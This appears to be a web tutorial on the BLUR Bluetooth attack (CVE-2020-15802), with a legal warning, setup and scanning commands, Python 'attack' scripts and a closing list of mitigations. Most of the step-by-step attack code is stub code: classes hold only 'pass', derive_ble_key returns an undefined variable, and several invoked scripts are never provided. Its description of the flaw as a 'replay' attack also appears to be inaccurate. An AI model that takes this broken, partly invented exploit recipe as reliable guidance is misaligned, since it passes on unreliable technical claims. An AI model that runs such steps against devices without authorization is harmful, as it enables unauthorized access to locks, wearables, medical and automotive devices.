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BLUR Attack Tutorial

Explore Bluetooth Low Energy Replay attacks to compromise BLE connections. Learn about cross-transport key derivation vulnerabilities and replay attack techniques.

Intermediate
35 minutes
CVE-2020-15802

Legal and Ethical Warning

This tutorial is for educational and authorized penetration testing purposes only. Only test on devices you own or have explicit written permission to test. Unauthorized access to BLE devices is illegal.

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Attack Overview

BLUR (Bluetooth Low Energy Replay) attacks exploit vulnerabilities in cross-transport key derivation between Bluetooth Classic and BLE. The attack allows replay of authentication messages and bypassing of security mechanisms in dual-mode Bluetooth implementations.

Attack Capabilities:

  • Message Replay
  • Key Derivation Bypass
  • Cross-Transport Attack
  • Authentication Bypass

Technical Details:

  • CVE: CVE-2020-15802
  • Protocol: Bluetooth Low Energy
  • Attack Vector: Replay attack
  • Impact: Authentication bypass, data access
Vulnerable Device Categories
BLE device categories commonly affected by BLUR attacks

Smart Home

IoT sensors, smart locks, thermostats

High Risk

Wearables

Fitness trackers, smartwatches

Medium Risk

Medical

Glucose monitors, heart rate monitors

Critical Risk

Automotive

Key fobs, tire pressure sensors

High Risk
Prerequisites
Required knowledge, hardware, and software for this tutorial

Hardware Requirements:

  • Linux system with BLE support
  • BLE-capable hardware (nRF52, ESP32, or similar)
  • Target BLE device for testing

Software Requirements:

  • Python 3.7+ with asyncio support
  • Bleak library for BLE communication
  • Wireshark with BLE dissector
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Step-by-Step Tutorial

1BLE Environment Setup

Set up your BLE testing environment with the required tools:

# Update system and install BLE tools
sudo apt update && sudo apt upgrade -y
sudo apt install bluez bluez-tools python3 python3-pip
# Install Python BLE libraries
pip3 install bleak asyncio aiofiles
pip3 install scapy[bluetooth]
# Clone BLUR attack tools
git clone https://github.com/francozappa/blur.git
cd blur

Verify BLE functionality:

# Check BLE adapter
sudo hciconfig -a
sudo hcitool lescan

2Target Discovery and Analysis

Discover and analyze BLE devices in the vicinity:

# Scan for BLE devices
sudo hcitool lescan --duplicates
# Use Python script for detailed scanning
python3 ble_scanner.py

Create a Python script for BLE device analysis:

# ble_scanner.py
import asyncio
from bleak import BleakScanner
async def scan_devices():
devices = await BleakScanner.discover()
for device in devices:
print(f"Device: {device.name} - {device.address}")
print(f"RSSI: {device.rssi} dBm")
asyncio.run(scan_devices())

3Traffic Capture and Analysis

Capture BLE traffic to understand the communication patterns:

# Start Wireshark for BLE capture
sudo wireshark -i bluetooth0 &
# Alternative: Use btmon for raw capture
sudo btmon -w ble_capture.btsnoop
# Capture with specific filters
sudo btmon -i hci0 -w filtered_capture.btsnoop

Analyze captured traffic for replay opportunities:

# Parse captured data
python3 parse_ble_capture.py ble_capture.btsnoop
# Look for authentication sequences
grep -i "auth\|pair\|key" capture_analysis.txt

4BLUR Attack Implementation

Implement the BLUR replay attack:

# blur_attack.py
import asyncio
from bleak import BleakClient, BleakScanner
import struct
class BLURAttack:
def __init__(self, target_address):
self.target = target_address
self.captured_packets = []
async def capture_auth_sequence(self):
# Capture authentication packets
async with BleakClient(self.target) as client:
# Monitor authentication process
pass
async def replay_attack(self):
# Replay captured authentication
for packet in self.captured_packets:
# Send replayed packet
pass

Execute the attack:

# Run BLUR attack
python3 blur_attack.py --target [BLE_DEVICE_ADDRESS]
# Monitor attack progress
tail -f blur_attack.log

5Cross-Transport Exploitation

Exploit cross-transport key derivation vulnerabilities:

# cross_transport_attack.py
import bluetooth
from scapy.all import *
def exploit_cross_transport(br_edr_key, ble_address):
# Derive BLE key from BR/EDR key
derived_key = derive_ble_key(br_edr_key)
# Use derived key for BLE connection
connect_with_key(ble_address, derived_key)
def derive_ble_key(br_edr_key):
# Key derivation algorithm
# This exploits the cross-transport vulnerability
return derived_key

Note: Cross-transport attacks require the device to support both Bluetooth Classic and BLE. The vulnerability lies in how keys are derived between transports.

6Attack Verification and Impact

Verify successful attack and assess impact:

# Verify successful connection
python3 verify_connection.py --target [BLE_ADDRESS]
# Test data access
python3 ble_data_access.py --target [BLE_ADDRESS]
# Enumerate available services
python3 ble_service_enum.py --target [BLE_ADDRESS]

Success Indicators:

  • Connection Established: Successful BLE connection without proper authentication
  • Service Access: Ability to read/write BLE characteristics
  • Data Extraction: Access to sensitive device data
  • Control Commands: Ability to send control commands to device
Mitigation Strategies

Immediate Actions:

  • • Update device firmware to latest version
  • • Disable cross-transport key derivation
  • • Use separate keys for BR/EDR and BLE
  • • Implement proper replay protection

Long-term Solutions:

  • • Implement secure key management
  • • Use time-based authentication tokens
  • • Deploy BLE security monitoring
  • • Regular security assessments
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CVE-2020-15802

Detailed information about the BLUR vulnerability and affected systems.

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